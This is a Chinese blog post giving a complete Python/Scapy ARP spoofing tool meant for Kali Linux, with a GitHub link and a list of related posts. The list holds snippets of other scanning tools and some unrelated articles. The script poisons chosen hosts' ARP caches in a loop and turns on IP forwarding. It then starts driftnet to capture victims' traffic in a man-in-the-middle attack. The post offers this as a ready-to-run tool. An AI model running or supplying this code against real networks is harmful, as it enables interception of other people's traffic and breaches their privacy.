在kali中使用

from scapy.all import *
import optparse
import os

def send(pkt,interface):
    for p in pkt:
        sendp(p,iface=interface)

def req(targets,source):
    for target in targets:
        tr_mac=getmacbyip(target)
        pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source)
        yield pkt

def rep(targets,source):
    for target in targets:
        tr_mac=getmacbyip(target)
        pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source,op=2)
        yield pkt

def main():
    parser=optparse.OptionParser('%prog '+"[+]-i <interface> [+]-t <targets> [+]-s <source> [+]-m <mode> [+]-r <transmit>")
    parser.add_option('-i',dest='interface',default='eth0',type='string',help='[+]Interface(default eth0)')
    parser.add_option('-t',dest='targets',type='string',help='[+]Target host,split with \',\'')
    parser.add_option('-s',dest='source',type='string',help='[+]Source host')
    parser.add_option('-m',dest='mode',default='req',type='string',help='[+]Request(req) or Reply(rep)')
    parser.add_option('-r',dest='transmit',default='no',type='string',help='[+]Transmit(yes or no)')
    (options,args)=parser.parse_args()
    interface=options.interface
    targets=str(options.targets).split(',')
    source=options.source
    mode=options.mode
    transmit=options.transmit

    if((targets[0]==None) or (source==None)):
        print('[-]Please input targets and source')
        exit(0)

    if(transmit=='yes'):
        os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
        os.system("gnome-terminal -- driftnet -i "+interface)

    if(mode=='req'):
        print('----------------')
        try:
            while True:
                pkt=req(targets,source)
                send(pkt,interface)
        except KeyboardInterrupt:
            print('---------------')
            os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
            print('Finished')
    else:
        print('-----------------')
        try:
            while True:
                pkt=rep(targets,source)
                send(pkt,interface)
        except KeyboardInterrupt:
            print('---------------')
            os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
            print('Finished!')

if __name__=='__main__':
    main()

使用说明

开始程序

转发成功

github:https://github.com/zmqq/pytools/tree/master/arpspoof

 

Python3 小工具-ARP欺骗的更多相关文章

  1. Python3 小工具-ARP扫描

    from scapy.all import * import optparse import threading import os def scan(ipt): pkt=Ether(dst='ff: ...

  2. Cain工具ARP欺骗攻击

    OS:Win7工具:Cainhttp://pan.baidu.com/s/1xq9lW 密码:409z 网络:本机和被攻击电脑有线连接路由器. Cain是有名的局域网嗅探工具,有丰富的功能.比如可以解 ...

  3. python3 小工具

    扫描IP的端口是否开放:Porttest.py # -*- coding: utf-8 -*- import sys import os import socket #扫描 def scanport( ...

  4. ip地址查询python3小工具_V0.0.1

    看到同事在一个一个IP地址的百度来确认导出表格中的ip地址所对应的现实世界的地址是否正确,决定给自己新开一个坑.做一个查询ip“地址”的python小工具,读取Excel表格,在表格中的后续列输出尽可 ...

  5. Python3 小工具-UDP扫描

    from scapy.all import * import optparse import threading def scan(target,port): pkt=IP(dst=target)/U ...

  6. Python3 小工具-僵尸扫描

    僵尸机的条件: 1.足够闲置,不与其他机器进行通讯 2.IPID必须是递增的,不然无法判断端口是否开放 本实验僵尸机选择的是Windows2003 from scapy.all import * im ...

  7. Python3 小工具-TCP半连接扫描

    from scapy.all import * import optparse import threading def scan(ip,port): pkt=IP(dst=ip)/TCP(dport ...

  8. Python3 小工具-UDP发现

    from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/UDP( ...

  9. Python3 小工具-TCP发现

    from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/TCP( ...

随机推荐

  1. django模板中如何导入js、css等外部文件

    本教程只适合Django1.4版本.(1.8版本之后不需要这么麻烦,详见 http://www.cnblogs.com/ryan255/p/5465608.html) html模板里面使用了css,但 ...

  2. Office365完整离线安装包下载及自定义安装教程

    Office 365是微软打造的一款适用于教育机构使用的office办公软件,这里为大家提供了一个Office 365离线安装包下载工具,让office 365离线包下载到本地再安装,而不是联网下载安 ...

  3. Docker镜像浅谈

    先抛出几个我在学习过程中产生的几个问题. 1. 容器镜像是什么, 和装系统时的镜像有什么关系? 2. 容器镜像的作用是什么? 3. 不同版本的ubuntu镜像有什么区别, 比如说 ubuntu:18. ...

  4. Zabbix——部署(agent和proxy安装)

    前提条件: 已经完成对Zabbix-server的安装 已经完成对Mysql的安装 并且相互和正常使用和访问 配置agent服务器: rpm -Uvh https://repo.zabbix.com/ ...

  5. morphia 框架 mongodb内嵌查询

    mongodb中存储的文档格式如下,实现查询fromdata下did和dvid为指定值的数据 { "_id": { "$oid": "553f4a9f ...

  6. RAC初体验(环境搭建)

      实施阶段: 1.主机配置 2.安装Clusterware 3.安装Oracle Database 4.配置Listener 5.创建ASM 6.创建Database 一.主机配置 1.网络设置 I ...

  7. centos7中nginx的搭建

    ./nginx 启动服务./nginx -s stop 关闭服务./nginx -s reload 重新加载配置文件 首先我们应当安装一个依赖的软件包: yum install gcc-c++yum ...

  8. YII2集成GOAOP,实现面向方面编程!

    引言: 软件开发的目标是要对世界的部分元素或者信息流建立模型,实现软件系统的工程需要将系统分解成可以创建和管理的模块.于是出现了以系统模块化特性的面向对象程序设计技术.模块化的面向对象编程极度地提高了 ...

  9. 使用Wamp搭建Php本地开发环境,HBuilder调试

    初涉Php,此处做点笔记,希望下次不要能够轻松应对,至少不要在入同一个坑 本文摘要: wamp和HBuilder和Mysql5.7的安装包 Wamp的使用,包括80端口,443端口的占用问题 HBui ...

  10. S3C2440启动程序运行过程

    s3c2440有两种启动方式,一种Nor flash 启动,一种Nand flash 启动. 由于NAND FLASH是接在NAND FLASH控制器上而不是系统总线上,所以没有在S3C2440A的8 ...